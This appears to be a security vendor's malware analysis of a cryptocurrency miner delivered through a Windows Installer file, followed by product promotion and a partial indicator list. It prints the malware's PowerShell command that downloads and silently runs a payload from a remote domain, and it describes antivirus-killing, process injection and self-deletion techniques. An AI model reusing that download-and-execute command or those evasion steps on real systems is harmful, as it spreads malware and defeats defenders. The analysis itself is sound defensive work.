The prodigious ascent of cryptocurrency-mining malware was not only brought about by its high profit potential, but also due to its ability to remain undetected within a system, especially when combined with various obfuscation routines. The concept of a stealthy, difficult-to-detect malware operating behind the scenes has proven to be an irresistible proposition for many threat actors, and they're evidently adding even more techniques, as seen in a cryptocurrency miner (detected as Coinminer.Win32.MALXMR.TIAOODAM) we discovered that uses multiple obfuscation and packing as part of its routine.



Installation behavior

Figure 1. Infection chain for the malware

The malware arrives on the victim’s machine as a Windows Installer MSI file, which is notable because Windows Installer is a legitimate application used to install software. Using a real Windows component makes it look less suspicious and potentially allows it to bypass certain security filters. Upon installation of the sample we analyzed, we found that it will install itself in the directory %AppData%\Roaming\Microsoft\Windows\Template\FileZilla Server, which will be created if it isn’t already present in the user’s machine. This directory will contain various files that are used as part of its process:

bat – A script file used to terminate a list of antimalware processes that are currently running

exe - An unzipping tool used for another file dropped in the directory, icon.ico

ico – A password protected zip file posing as an icon file



Unpacking icon.ico reveals two addition files contained within it:

ocx – The loader module responsible for decrypting and installing the cryptocurrency mining module

bin – The encrypted, UPX-packed and Delphi-compiled cryptocurrency mining module



The next part of the installation process involves creating copies of the kernel file ntdll.dll and the Windows USER component user32.dll in %AppData%\Roaming\Microsoft\Windows\Template\FileZilla Server\{Random Numbers}. We theorize that this is done to possibly prevent detection of the malware’s APIs. This is followed by the following configuration files, including the miner’s, being dropped in the folder %UserTemp%\[Random Number].

Figure 2. Configuration file for the miner

The installation interestingly uses Cyrillic (and not English) text during the process, which might indicate the region the malware came from.

Figure 3. One of the windows displayed during installation

Process injection and watchdog creation analysis



After installation, ex.exe will then perform its routine by unzipping icon.ico before executing the following command:

rundll32 default.ocx,Entry u

It will then create three new Service Host (svchost.exe) processes for the purpose of injecting its codes. The first and second SvcHost processes will act as a watchdog, most likely to remain persistent. These are responsible for re-downloading the Windows Installer (.msi) file via a Powershell command when any of the injected svchost processes are terminated:

“powershell.exe -command $cli = new-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'Windows Installer';$f = 'C:\%UserTemp%\{random number}.msi'; $cli.DownloadFile('hxxps://superdomain1709[.]info/update[.]txt', $f);Start-Process $f -ArgumentList '/q'”



The third SvcHost process is then injected with the coinminer module and executed using the following command:

“%system32%\svchost.exe –config={malware configuration path}



Figure 4. Screenshot of the three Service Host processes

To make detection and analysis even more difficult, the malware also comes with a self-destruct mechanism. First, it creates and executes the following file:

{Random Characters}.cmD <- self-delete command-line script



It then deletes every file under its installation directory and removes any trace of installation in the system. One notable aspect of the malware is that it uses the popular custom Windows Installer builder WiX as a packer, most likely as an additional anti-detection layer. This indicates that the threat actors behind it are exerting extra effort to ensure that their creation remains as stealthy as possible.



Trend Micro Solutions

The evolving aspect of cryptocurrency mining malware — constantly adding evasion techniques — means that powerful security tools are often needed to defend users from these kinds of threats. Trend Micro endpoint solutions such as the Smart Protection Suites and Worry-Free Business Security solutions can protect users and businesses from threats by detecting malicious files and messages as well as blocking all related malicious URLs. The Trend Micro™ Deep Discovery™ solution has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs.

Trend Micro XGen™ security provides a cross-generational blend of threat defense techniques to protect systems from all types of threats, including ransomware and cryptocurrency-mining malware. It features high-fidelity machine learning on gateways and endpoints, and protects physical, virtual, and cloud workloads. With capabilities like web/URL filtering, behavioral analysis, and custom sandboxing, XGen security protects against today’s threats that bypass traditional controls; exploit known, unknown, or undisclosed vulnerabilities; either steal or encrypt personally identifiable data; or conduct malicious cryptocurrency mining. Smart, optimized, and connected, XGen security powers Trend Micro’s suite of security solutions: Hybrid Cloud Security, User Protection, and Network Defense.



Indicators of Compromise (IOCs)

Detected as Trojan.BAT.TASKILL.AA:

90ae20b30866bc6dbffd41869ccb642b3802f03d18df19e6c1dcab260bbeba7d



Detected as Coinminer.Win32.MALXMR.TIAOODAM: